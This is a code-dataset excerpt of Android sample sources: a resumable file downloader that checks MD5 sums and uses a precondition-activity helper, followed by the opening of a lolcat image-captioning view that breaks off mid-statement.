code
stringlengths
1
2.01M
repo_name
stringlengths
3
62
path
stringlengths
1
267
language
stringclasses
231 values
license
stringclasses
13 values
size
int64
1
2.01M
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.downloader; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class DownloaderTest extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (! DownloaderActivity.ensureDownloaded(this, getString(R.string.app_name), FILE_CONFIG_URL, CONFIG_VERSION, DATA_PATH, USER_AGENT)) { return; } setContentView(R.layout.main); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { boolean handled = true; int id = item.getItemId(); if (id == R.id.menu_main_download_again) { downloadAgain(); } else { handled = false; } if (!handled) { handled = super.onOptionsItemSelected(item); } return handled; } private void downloadAgain() { DownloaderActivity.deleteData(DATA_PATH); startActivity(getIntent()); finish(); } /** * Fill this in with your own web server. */ private final static String FILE_CONFIG_URL = "http://example.com/download.config"; private final static String CONFIG_VERSION = "1.0"; private final static String DATA_PATH = "/sdcard/data/downloadTest"; private final static String USER_AGENT = "MyApp Downloader"; }
zzhangumd-apps-for-android
Samples/Downloader/src/com/google/android/downloader/DownloaderTest.java
Java
asf20
2,200
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.downloader; import android.app.Activity; import android.content.Intent; /** * Usage: * * Intent intent = PreconditionActivityHelper.createPreconditionIntent( * activity, WaitActivity.class); * // Optionally add extras to pass arguments to the intent * intent.putExtra(Utils.EXTRA_ACCOUNT, account); * PreconditionActivityHelper.startPreconditionActivityAndFinish(this, intent); * * // And in the wait activity: * PreconditionActivityHelper.startOriginalActivityAndFinish(this); * */ public class PreconditionActivityHelper { /** * Create a precondition activity intent. * @param activity the original activity * @param preconditionActivityClazz the precondition activity's class * @return an intent which will launch the precondition activity. */ public static Intent createPreconditionIntent(Activity activity, Class preconditionActivityClazz) { Intent newIntent = new Intent(); newIntent.setClass(activity, preconditionActivityClazz); newIntent.putExtra(EXTRA_WRAPPED_INTENT, activity.getIntent()); return newIntent; } /** * Start the precondition activity using a given intent, which should * have been created by calling createPreconditionIntent. * @param activity * @param intent */ public static void startPreconditionActivityAndFinish(Activity activity, Intent intent) { activity.startActivity(intent); activity.finish(); } /** * Start the original activity, and finish the precondition activity. * @param preconditionActivity */ public static void startOriginalActivityAndFinish( Activity preconditionActivity) { preconditionActivity.startActivity( (Intent) preconditionActivity.getIntent() .getParcelableExtra(EXTRA_WRAPPED_INTENT)); preconditionActivity.finish(); } static private final String EXTRA_WRAPPED_INTENT = "PreconditionActivityHelper_wrappedIntent"; }
zzhangumd-apps-for-android
Samples/Downloader/src/com/google/android/downloader/PreconditionActivityHelper.java
Java
asf20
2,672
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.downloader; import android.app.Activity; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.content.DialogInterface; import android.content.Intent; import org.apache.http.impl.client.DefaultHttpClient; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.os.SystemClock; import java.security.MessageDigest; import android.util.Log; import android.util.Xml; import android.view.View; import android.view.Window; import android.view.WindowManager; import android.widget.Button; import android.widget.TextView; import org.apache.http.Header; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.HttpStatus; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpHead; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.UnsupportedEncodingException; import java.net.MalformedURLException; import java.net.URL; import java.security.NoSuchAlgorithmException; import java.text.DecimalFormat; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; public class DownloaderActivity extends Activity { /** * Checks if data has been downloaded. If so, returns true. If not, * starts an activity to download the data and returns false. If this * function returns false the caller should immediately return from its * onCreate method. The calling activity will later be restarted * (using a copy of its original intent) once the data download completes. * @param activity The calling activity. * @param customText A text string that is displayed in the downloader UI. * @param fileConfigUrl The URL of the download configuration URL. * @param configVersion The version of the configuration file. * @param dataPath The directory on the device where we want to store the * data. * @param userAgent The user agent string to use when fetching URLs. * @return true if the data has already been downloaded successfully, or * false if the data needs to be downloaded. */ public static boolean ensureDownloaded(Activity activity, String customText, String fileConfigUrl, String configVersion, String dataPath, String userAgent) { File dest = new File(dataPath); if (dest.exists()) { // Check version if (versionMatches(dest, configVersion)) { Log.i(LOG_TAG, "Versions match, no need to download."); return true; } } Intent intent = PreconditionActivityHelper.createPreconditionIntent( activity, DownloaderActivity.class); intent.putExtra(EXTRA_CUSTOM_TEXT, customText); intent.putExtra(EXTRA_FILE_CONFIG_URL, fileConfigUrl); intent.putExtra(EXTRA_CONFIG_VERSION, configVersion); intent.putExtra(EXTRA_DATA_PATH, dataPath); intent.putExtra(EXTRA_USER_AGENT, userAgent); PreconditionActivityHelper.startPreconditionActivityAndFinish( activity, intent); return false; } /** * Delete a directory and all its descendants. * @param directory The directory to delete * @return true if the directory was deleted successfully. */ public static boolean deleteData(String directory) { return deleteTree(new File(directory), true); } private static boolean deleteTree(File base, boolean deleteBase) { boolean result = true; if (base.isDirectory()) { for (File child : base.listFiles()) { result &= deleteTree(child, true); } } if (deleteBase) { result &= base.delete(); } return result; } private static boolean versionMatches(File dest, String expectedVersion) { Config config = getLocalConfig(dest, LOCAL_CONFIG_FILE); if (config != null) { return config.version.equals(expectedVersion); } return false; } private static Config getLocalConfig(File destPath, String configFilename) { File configPath = new File(destPath, configFilename); FileInputStream is; try { is = new FileInputStream(configPath); } catch (FileNotFoundException e) { return null; } try { Config config = ConfigHandler.parse(is); return config; } catch (Exception e) { Log.e(LOG_TAG, "Unable to read local config file", e); return null; } finally { quietClose(is); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); requestWindowFeature(Window.FEATURE_CUSTOM_TITLE); setContentView(R.layout.downloader); getWindow().setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.downloader_title); ((TextView) findViewById(R.id.customText)).setText( intent.getStringExtra(EXTRA_CUSTOM_TEXT)); mProgress = (TextView) findViewById(R.id.progress); mTimeRemaining = (TextView) findViewById(R.id.time_remaining); Button button = (Button) findViewById(R.id.cancel); button.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { if (mDownloadThread != null) { mSuppressErrorMessages = true; mDownloadThread.interrupt(); } } }); startDownloadThread(); } private void startDownloadThread() { mSuppressErrorMessages = false; mProgress.setText(""); mTimeRemaining.setText(""); mDownloadThread = new Thread(new Downloader(), "Downloader"); mDownloadThread.setPriority(Thread.NORM_PRIORITY - 1); mDownloadThread.start(); } @Override protected void onResume() { super.onResume(); } @Override protected void onDestroy() { super.onDestroy(); mSuppressErrorMessages = true; mDownloadThread.interrupt(); try { mDownloadThread.join(); } catch (InterruptedException e) { // Don't care. } } private void onDownloadSucceeded() { Log.i(LOG_TAG, "Download succeeded"); PreconditionActivityHelper.startOriginalActivityAndFinish(this); } private void onDownloadFailed(String reason) { Log.e(LOG_TAG, "Download stopped: " + reason); String shortReason; int index = reason.indexOf('\n'); if (index >= 0) { shortReason = reason.substring(0, index); } else { shortReason = reason; } AlertDialog alert = new Builder(this).create(); alert.setTitle(R.string.download_activity_download_stopped); if (!mSuppressErrorMessages) { alert.setMessage(shortReason); } alert.setButton(getString(R.string.download_activity_retry), new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { startDownloadThread(); } }); alert.setButton2(getString(R.string.download_activity_quit), new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { finish(); } }); try { alert.show(); } catch (WindowManager.BadTokenException e) { // Happens when the Back button is used to exit the activity. // ignore. } } private void onReportProgress(int progress) { mProgress.setText(mPercentFormat.format(progress / 10000.0)); long now = SystemClock.elapsedRealtime(); if (mStartTime == 0) { mStartTime = now; } long delta = now - mStartTime; String timeRemaining = getString(R.string.download_activity_time_remaining_unknown); if ((delta > 3 * MS_PER_SECOND) && (progress > 100)) { long totalTime = 10000 * delta / progress; long timeLeft = Math.max(0L, totalTime - delta); if (timeLeft > MS_PER_DAY) { timeRemaining = Long.toString( (timeLeft + MS_PER_DAY - 1) / MS_PER_DAY) + " " + getString(R.string.download_activity_time_remaining_days); } else if (timeLeft > MS_PER_HOUR) { timeRemaining = Long.toString( (timeLeft + MS_PER_HOUR - 1) / MS_PER_HOUR) + " " + getString(R.string.download_activity_time_remaining_hours); } else if (timeLeft > MS_PER_MINUTE) { timeRemaining = Long.toString( (timeLeft + MS_PER_MINUTE - 1) / MS_PER_MINUTE) + " " + getString(R.string.download_activity_time_remaining_minutes); } else { timeRemaining = Long.toString( (timeLeft + MS_PER_SECOND - 1) / MS_PER_SECOND) + " " + getString(R.string.download_activity_time_remaining_seconds); } } mTimeRemaining.setText(timeRemaining); } private void onReportVerifying() { mProgress.setText(getString(R.string.download_activity_verifying)); mTimeRemaining.setText(""); } private static void quietClose(InputStream is) { try { if (is != null) { is.close(); } } catch (IOException e) { // Don't care. } } private static void quietClose(OutputStream os) { try { if (os != null) { os.close(); } } catch (IOException e) { // Don't care. } } private static class Config { long getSize() { long result = 0; for(File file : mFiles) { result += file.getSize(); } return result; } static class File { public File(String src, String dest, String md5, long size) { if (src != null) { this.mParts.add(new Part(src, md5, size)); } this.dest = dest; } static class Part { Part(String src, String md5, long size) { this.src = src; this.md5 = md5; this.size = size; } String src; String md5; long size; } ArrayList<Part> mParts = new ArrayList<Part>(); String dest; long getSize() { long result = 0; for(Part part : mParts) { if (part.size > 0) { result += part.size; } } return result; } } String version; ArrayList<File> mFiles = new ArrayList<File>(); } /** * <config version=""> * <file src="http:..." dest ="b.x" /> * <file dest="b.x"> * <part src="http:..." /> * ... * ... * </config> * */ private static class ConfigHandler extends DefaultHandler { public static Config parse(InputStream is) throws SAXException, UnsupportedEncodingException, IOException { ConfigHandler handler = new ConfigHandler(); Xml.parse(is, Xml.findEncodingByName("UTF-8"), handler); return handler.mConfig; } private ConfigHandler() { mConfig = new Config(); } @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (localName.equals("config")) { mConfig.version = getRequiredString(attributes, "version"); } else if (localName.equals("file")) { String src = attributes.getValue("", "src"); String dest = getRequiredString(attributes, "dest"); String md5 = attributes.getValue("", "md5"); long size = getLong(attributes, "size", -1); mConfig.mFiles.add(new Config.File(src, dest, md5, size)); } else if (localName.equals("part")) { String src = getRequiredString(attributes, "src"); String md5 = attributes.getValue("", "md5"); long size = getLong(attributes, "size", -1); int length = mConfig.mFiles.size(); if (length > 0) { mConfig.mFiles.get(length-1).mParts.add( new Config.File.Part(src, md5, size)); } } } private static String getRequiredString(Attributes attributes, String localName) throws SAXException { String result = attributes.getValue("", localName); if (result == null) { throw new SAXException("Expected attribute " + localName); } return result; } private static long getLong(Attributes attributes, String localName, long defaultValue) { String value = attributes.getValue("", localName); if (value == null) { return defaultValue; } else { return Long.parseLong(value); } } public Config mConfig; } private class DownloaderException extends Exception { public DownloaderException(String reason) { super(reason); } } private class Downloader implements Runnable { public void run() { Intent intent = getIntent(); mFileConfigUrl = intent.getStringExtra(EXTRA_FILE_CONFIG_URL); mConfigVersion = intent.getStringExtra(EXTRA_CONFIG_VERSION); mDataPath = intent.getStringExtra(EXTRA_DATA_PATH); mUserAgent = intent.getStringExtra(EXTRA_USER_AGENT); mDataDir = new File(mDataPath); try { // Download files. mHttpClient = new DefaultHttpClient(); Config config = getConfig(); filter(config); persistantDownload(config); verify(config); cleanup(); reportSuccess(); } catch (Exception e) { reportFailure(e.toString() + "\n" + Log.getStackTraceString(e)); } } private void persistantDownload(Config config) throws ClientProtocolException, DownloaderException, IOException { while(true) { try { download(config); break; } catch(java.net.SocketException e) { if (mSuppressErrorMessages) { throw e; } } catch(java.net.SocketTimeoutException e) { if (mSuppressErrorMessages) { throw e; } } Log.i(LOG_TAG, "Network connectivity issue, retrying."); } } private void filter(Config config) throws IOException, DownloaderException { File filteredFile = new File(mDataDir, LOCAL_FILTERED_FILE); if (filteredFile.exists()) { return; } File localConfigFile = new File(mDataDir, LOCAL_CONFIG_FILE_TEMP); HashSet<String> keepSet = new HashSet<String>(); keepSet.add(localConfigFile.getCanonicalPath()); HashMap<String, Config.File> fileMap = new HashMap<String, Config.File>(); for(Config.File file : config.mFiles) { String canonicalPath = new File(mDataDir, file.dest).getCanonicalPath(); fileMap.put(canonicalPath, file); } recursiveFilter(mDataDir, fileMap, keepSet, false); touch(filteredFile); } private void touch(File file) throws FileNotFoundException { FileOutputStream os = new FileOutputStream(file); quietClose(os); } private boolean recursiveFilter(File base, HashMap<String, Config.File> fileMap, HashSet<String> keepSet, boolean filterBase) throws IOException, DownloaderException { boolean result = true; if (base.isDirectory()) { for (File child : base.listFiles()) { result &= recursiveFilter(child, fileMap, keepSet, true); } } if (filterBase) { if (base.isDirectory()) { if (base.listFiles().length == 0) { result &= base.delete(); } } else { if (!shouldKeepFile(base, fileMap, keepSet)) { result &= base.delete(); } } } return result; } private boolean shouldKeepFile(File file, HashMap<String, Config.File> fileMap, HashSet<String> keepSet) throws IOException, DownloaderException { String canonicalPath = file.getCanonicalPath(); if (keepSet.contains(canonicalPath)) { return true; } Config.File configFile = fileMap.get(canonicalPath); if (configFile == null) { return false; } return verifyFile(configFile, false); } private void reportSuccess() { mHandler.sendMessage( Message.obtain(mHandler, MSG_DOWNLOAD_SUCCEEDED)); } private void reportFailure(String reason) { mHandler.sendMessage( Message.obtain(mHandler, MSG_DOWNLOAD_FAILED, reason)); } private void reportProgress(int progress) { mHandler.sendMessage( Message.obtain(mHandler, MSG_REPORT_PROGRESS, progress, 0)); } private void reportVerifying() { mHandler.sendMessage( Message.obtain(mHandler, MSG_REPORT_VERIFYING)); } private Config getConfig() throws DownloaderException, ClientProtocolException, IOException, SAXException { Config config = null; if (mDataDir.exists()) { config = getLocalConfig(mDataDir, LOCAL_CONFIG_FILE_TEMP); if ((config == null) || !mConfigVersion.equals(config.version)) { if (config == null) { Log.i(LOG_TAG, "Couldn't find local config."); } else { Log.i(LOG_TAG, "Local version out of sync. Wanted " + mConfigVersion + " but have " + config.version); } config = null; } } else { Log.i(LOG_TAG, "Creating directory " + mDataPath); mDataDir.mkdirs(); mDataDir.mkdir(); if (!mDataDir.exists()) { throw new DownloaderException( "Could not create the directory " + mDataPath); } } if (config == null) { File localConfig = download(mFileConfigUrl, LOCAL_CONFIG_FILE_TEMP); InputStream is = new FileInputStream(localConfig); try { config = ConfigHandler.parse(is); } finally { quietClose(is); } if (! config.version.equals(mConfigVersion)) { throw new DownloaderException( "Configuration file version mismatch. Expected " + mConfigVersion + " received " + config.version); } } return config; } private void noisyDelete(File file) throws IOException { if (! file.delete() ) { throw new IOException("could not delete " + file); } } private void download(Config config) throws DownloaderException, ClientProtocolException, IOException { mDownloadedSize = 0; getSizes(config); Log.i(LOG_TAG, "Total bytes to download: " + mTotalExpectedSize); for(Config.File file : config.mFiles) { downloadFile(file); } } private void downloadFile(Config.File file) throws DownloaderException, FileNotFoundException, IOException, ClientProtocolException { boolean append = false; File dest = new File(mDataDir, file.dest); long bytesToSkip = 0; if (dest.exists() && dest.isFile()) { append = true; bytesToSkip = dest.length(); mDownloadedSize += bytesToSkip; } FileOutputStream os = null; long offsetOfCurrentPart = 0; try { for(Config.File.Part part : file.mParts) { // The part.size==0 check below allows us to download // zero-length files. if ((part.size > bytesToSkip) || (part.size == 0)) { MessageDigest digest = null; if (part.md5 != null) { digest = createDigest(); if (bytesToSkip > 0) { FileInputStream is = openInput(file.dest); try { is.skip(offsetOfCurrentPart); readIntoDigest(is, bytesToSkip, digest); } finally { quietClose(is); } } } if (os == null) { os = openOutput(file.dest, append); } downloadPart(part.src, os, bytesToSkip, part.size, digest); if (digest != null) { String hash = getHash(digest); if (!hash.equalsIgnoreCase(part.md5)) { Log.e(LOG_TAG, "web MD5 checksums don't match. " + part.src + "\nExpected " + part.md5 + "\n got " + hash); quietClose(os); dest.delete(); throw new DownloaderException( "Received bad data from web server"); } else { Log.i(LOG_TAG, "web MD5 checksum matches."); } } } bytesToSkip -= Math.min(bytesToSkip, part.size); offsetOfCurrentPart += part.size; } } finally { quietClose(os); } } private void cleanup() throws IOException { File filtered = new File(mDataDir, LOCAL_FILTERED_FILE); noisyDelete(filtered); File tempConfig = new File(mDataDir, LOCAL_CONFIG_FILE_TEMP); File realConfig = new File(mDataDir, LOCAL_CONFIG_FILE); tempConfig.renameTo(realConfig); } private void verify(Config config) throws DownloaderException, ClientProtocolException, IOException { Log.i(LOG_TAG, "Verifying..."); String failFiles = null; for(Config.File file : config.mFiles) { if (! verifyFile(file, true) ) { if (failFiles == null) { failFiles = file.dest; } else { failFiles += " " + file.dest; } } } if (failFiles != null) { throw new DownloaderException( "Possible bad SD-Card. MD5 sum incorrect for file(s) " + failFiles); } } private boolean verifyFile(Config.File file, boolean deleteInvalid) throws FileNotFoundException, DownloaderException, IOException { Log.i(LOG_TAG, "verifying " + file.dest); reportVerifying(); File dest = new File(mDataDir, file.dest); if (! dest.exists()) { Log.e(LOG_TAG, "File does not exist: " + dest.toString()); return false; } long fileSize = file.getSize(); long destLength = dest.length(); if (fileSize != destLength) { Log.e(LOG_TAG, "Length doesn't match. Expected " + fileSize + " got " + destLength); if (deleteInvalid) { dest.delete(); return false; } } FileInputStream is = new FileInputStream(dest); try { for(Config.File.Part part : file.mParts) { if (part.md5 == null) { continue; } MessageDigest digest = createDigest(); readIntoDigest(is, part.size, digest); String hash = getHash(digest); if (!hash.equalsIgnoreCase(part.md5)) { Log.e(LOG_TAG, "MD5 checksums don't match. " + part.src + " Expected " + part.md5 + " got " + hash); if (deleteInvalid) { quietClose(is); dest.delete(); } return false; } } } finally { quietClose(is); } return true; } private void readIntoDigest(FileInputStream is, long bytesToRead, MessageDigest digest) throws IOException { while(bytesToRead > 0) { int chunkSize = (int) Math.min(mFileIOBuffer.length, bytesToRead); int bytesRead = is.read(mFileIOBuffer, 0, chunkSize); if (bytesRead < 0) { break; } updateDigest(digest, bytesRead); bytesToRead -= bytesRead; } } private MessageDigest createDigest() throws DownloaderException { MessageDigest digest; try { digest = MessageDigest.getInstance("MD5"); } catch (NoSuchAlgorithmException e) { throw new DownloaderException("Couldn't create MD5 digest"); } return digest; } private void updateDigest(MessageDigest digest, int bytesRead) { if (bytesRead == mFileIOBuffer.length) { digest.update(mFileIOBuffer); } else { // Work around an awkward API: Create a // new buffer with just the valid bytes byte[] temp = new byte[bytesRead]; System.arraycopy(mFileIOBuffer, 0, temp, 0, bytesRead); digest.update(temp); } } private String getHash(MessageDigest digest) { StringBuilder builder = new StringBuilder(); for(byte b : digest.digest()) { builder.append(Integer.toHexString((b >> 4) & 0xf)); builder.append(Integer.toHexString(b & 0xf)); } return builder.toString(); } /** * Ensure we have sizes for all the items. * @param config * @throws ClientProtocolException * @throws IOException * @throws DownloaderException */ private void getSizes(Config config) throws ClientProtocolException, IOException, DownloaderException { for (Config.File file : config.mFiles) { for(Config.File.Part part : file.mParts) { if (part.size < 0) { part.size = getSize(part.src); } } } mTotalExpectedSize = config.getSize(); } private long getSize(String url) throws ClientProtocolException, IOException { url = normalizeUrl(url); Log.i(LOG_TAG, "Head " + url); HttpHead httpGet = new HttpHead(url); HttpResponse response = mHttpClient.execute(httpGet); if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) { throw new IOException("Unexpected Http status code " + response.getStatusLine().getStatusCode()); } Header[] clHeaders = response.getHeaders("Content-Length"); if (clHeaders.length > 0) { Header header = clHeaders[0]; return Long.parseLong(header.getValue()); } return -1; } private String normalizeUrl(String url) throws MalformedURLException { return (new URL(new URL(mFileConfigUrl), url)).toString(); } private InputStream get(String url, long startOffset, long expectedLength) throws ClientProtocolException, IOException { url = normalizeUrl(url); Log.i(LOG_TAG, "Get " + url); mHttpGet = new HttpGet(url); int expectedStatusCode = HttpStatus.SC_OK; if (startOffset > 0) { String range = "bytes=" + startOffset + "-"; if (expectedLength >= 0) { range += expectedLength-1; } Log.i(LOG_TAG, "requesting byte range " + range); mHttpGet.addHeader("Range", range); expectedStatusCode = HttpStatus.SC_PARTIAL_CONTENT; } HttpResponse response = mHttpClient.execute(mHttpGet); long bytesToSkip = 0; int statusCode = response.getStatusLine().getStatusCode(); if (statusCode != expectedStatusCode) { if ((statusCode == HttpStatus.SC_OK) && (expectedStatusCode == HttpStatus.SC_PARTIAL_CONTENT)) { Log.i(LOG_TAG, "Byte range request ignored"); bytesToSkip = startOffset; } else { throw new IOException("Unexpected Http status code " + statusCode + " expected " + expectedStatusCode); } } HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); if (bytesToSkip > 0) { is.skip(bytesToSkip); } return is; } private File download(String src, String dest) throws DownloaderException, ClientProtocolException, IOException { File destFile = new File(mDataDir, dest); FileOutputStream os = openOutput(dest, false); try { downloadPart(src, os, 0, -1, null); } finally { os.close(); } return destFile; } private void downloadPart(String src, FileOutputStream os, long startOffset, long expectedLength, MessageDigest digest) throws ClientProtocolException, IOException, DownloaderException { boolean lengthIsKnown = expectedLength >= 0; if (startOffset < 0) { throw new IllegalArgumentException("Negative startOffset:" + startOffset); } if (lengthIsKnown && (startOffset > expectedLength)) { throw new IllegalArgumentException( "startOffset > expectedLength" + startOffset + " " + expectedLength); } InputStream is = get(src, startOffset, expectedLength); try { long bytesRead = downloadStream(is, os, digest); if (lengthIsKnown) { long expectedBytesRead = expectedLength - startOffset; if (expectedBytesRead != bytesRead) { Log.e(LOG_TAG, "Bad file transfer from server: " + src + " Expected " + expectedBytesRead + " Received " + bytesRead); throw new DownloaderException( "Incorrect number of bytes received from server"); } } } finally { is.close(); mHttpGet = null; } } private FileOutputStream openOutput(String dest, boolean append) throws FileNotFoundException, DownloaderException { File destFile = new File(mDataDir, dest); File parent = destFile.getParentFile(); if (! parent.exists()) { parent.mkdirs(); } if (! parent.exists()) { throw new DownloaderException("Could not create directory " + parent.toString()); } FileOutputStream os = new FileOutputStream(destFile, append); return os; } private FileInputStream openInput(String src) throws FileNotFoundException, DownloaderException { File srcFile = new File(mDataDir, src); File parent = srcFile.getParentFile(); if (! parent.exists()) { parent.mkdirs(); } if (! parent.exists()) { throw new DownloaderException("Could not create directory " + parent.toString()); } return new FileInputStream(srcFile); } private long downloadStream(InputStream is, FileOutputStream os, MessageDigest digest) throws DownloaderException, IOException { long totalBytesRead = 0; while(true){ if (Thread.interrupted()) { Log.i(LOG_TAG, "downloader thread interrupted."); mHttpGet.abort(); throw new DownloaderException("Thread interrupted"); } int bytesRead = is.read(mFileIOBuffer); if (bytesRead < 0) { break; } if (digest != null) { updateDigest(digest, bytesRead); } totalBytesRead += bytesRead; os.write(mFileIOBuffer, 0, bytesRead); mDownloadedSize += bytesRead; int progress = (int) (Math.min(mTotalExpectedSize, mDownloadedSize * 10000 / Math.max(1, mTotalExpectedSize))); if (progress != mReportedProgress) { mReportedProgress = progress; reportProgress(progress); } } return totalBytesRead; } private DefaultHttpClient mHttpClient; private HttpGet mHttpGet; private String mFileConfigUrl; private String mConfigVersion; private String mDataPath; private File mDataDir; private String mUserAgent; private long mTotalExpectedSize; private long mDownloadedSize; private int mReportedProgress; private final static int CHUNK_SIZE = 32 * 1024; byte[] mFileIOBuffer = new byte[CHUNK_SIZE]; } private final static String LOG_TAG = "Downloader"; private TextView mProgress; private TextView mTimeRemaining; private final DecimalFormat mPercentFormat = new DecimalFormat("0.00 %"); private long mStartTime; private Thread mDownloadThread; private boolean mSuppressErrorMessages; private final static long MS_PER_SECOND = 1000; private final static long MS_PER_MINUTE = 60 * 1000; private final static long MS_PER_HOUR = 60 * 60 * 1000; private final static long MS_PER_DAY = 24 * 60 * 60 * 1000; private final static String LOCAL_CONFIG_FILE = ".downloadConfig"; private final static String LOCAL_CONFIG_FILE_TEMP = ".downloadConfig_temp"; private final static String LOCAL_FILTERED_FILE = ".downloadConfig_filtered"; private final static String EXTRA_CUSTOM_TEXT = "DownloaderActivity_custom_text"; private final static String EXTRA_FILE_CONFIG_URL = "DownloaderActivity_config_url"; private final static String EXTRA_CONFIG_VERSION = "DownloaderActivity_config_version"; private final static String EXTRA_DATA_PATH = "DownloaderActivity_data_path"; private final static String EXTRA_USER_AGENT = "DownloaderActivity_user_agent"; private final static int MSG_DOWNLOAD_SUCCEEDED = 0; private final static int MSG_DOWNLOAD_FAILED = 1; private final static int MSG_REPORT_PROGRESS = 2; private final static int MSG_REPORT_VERIFYING = 3; private final Handler mHandler = new Handler() { @Override public void handleMessage(Message msg) { switch (msg.what) { case MSG_DOWNLOAD_SUCCEEDED: onDownloadSucceeded(); break; case MSG_DOWNLOAD_FAILED: onDownloadFailed((String) msg.obj); break; case MSG_REPORT_PROGRESS: onReportProgress(msg.arg1); break; case MSG_REPORT_VERIFYING: onReportVerifying(); break; default: throw new IllegalArgumentException("Unknown message id " + msg.what); } } }; }
zzhangumd-apps-for-android
Samples/Downloader/src/com/google/android/downloader/DownloaderActivity.java
Java
asf20
40,004
/* * Copyright (C) 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.lolcat; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Matrix; import android.graphics.Paint; import android.graphics.Rect; import android.graphics.RectF; import android.graphics.Typeface; import android.graphics.drawable.BitmapDrawable; import android.net.Uri; import android.text.TextUtils; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.widget.ImageView; /** * Lolcat-specific subclass of ImageView, which manages the various * scaled-down Bitmaps and knows how to render and manipulate the * image captions. */ public class LolcatView extends ImageView { private static final String TAG = "LolcatView"; // Standard lolcat size is 500x375. (But to preserve the original // image's aspect ratio, we rescale so that the larger dimension ends // up being 500 pixels.) private static final float SCALED_IMAGE_MAX_DIMENSION = 500f; // Other standard lolcat image parameters private static final int FONT_SIZE = 44; private Bitmap mScaledBitmap; // The photo picked by the user, scaled-down private Bitmap mWorkingBitmap; // The Bitmap we render the caption text into // Current state of the captions. // TODO: This array currently has a hardcoded length of 2 (for "top" // and "bottom" captions), but eventually should support as many // captions as the user wants to add. private final Caption[] mCaptions = new Caption[] { new Caption(), new Caption() }; // State used while dragging a caption around private boolean mDragging; private int mDragCaptionIndex; // index of the caption (in mCaptions[]) that's being dragged private int mTouchDownX, mTouchDownY; private final Rect mInitialDragBox = new Rect(); private final Rect mCurrentDragBox = new Rect(); private final RectF mCurrentDragBoxF = new RectF(); // used in onDraw() private final RectF mTransformedDragBoxF = new RectF(); // used in onDraw() private final Rect mTmpRect = new Rect(); public LolcatView(Context context) { super(context); } public LolcatView(Context context, AttributeSet attrs) { super(context, attrs); } public LolcatView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } public Bitmap getWorkingBitmap() { return mWorkingBitmap; } public String getTopCaption() { return mCaptions[0].caption; } public String getBottomCaption() { return mCaptions[1].caption; } /** * @return true if the user has set caption(s) for this LolcatView. */ public boolean hasValidCaption() { return !TextUtils.isEmpty(mCaptions[0].caption) || !TextUtils.isEmpty(mCaptions[1].caption); } public void clear() { mScaledBitmap = null; mWorkingBitmap = null; setImageDrawable(null); // TODO: Anything else we need to do here to release resources // associated with this object, like maybe the Bitmap that got // created by the previous setImageURI() call? } public void loadFromUri(Uri uri) { // For now, directly load the specified Uri. setImageURI(uri); // TODO: Rather than calling setImageURI() with the URI of // the (full-size) photo, it would be better to turn the URI into // a scaled-down Bitmap right here, and load *that* into ourself. // I'd do that basically the same way that ImageView.setImageURI does it: // [ . . . ] // android.graphics.BitmapFactory.nativeDecodeStream(Native Method) // android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:304) // android.graphics.drawable.Drawable.createFromStream(Drawable.java:635) // android.widget.ImageView.resolveUri(ImageView.java:477) // android.widget.ImageView.setImageURI(ImageView.java:281) // [ . . . ] // But for now let's let ImageView do the work: we call setImageURI (above) // and immediately pull out a Bitmap (below). // Stash away a scaled-down bitmap. // TODO: is it safe to assume this will always be a BitmapDrawable? BitmapDrawable drawable = 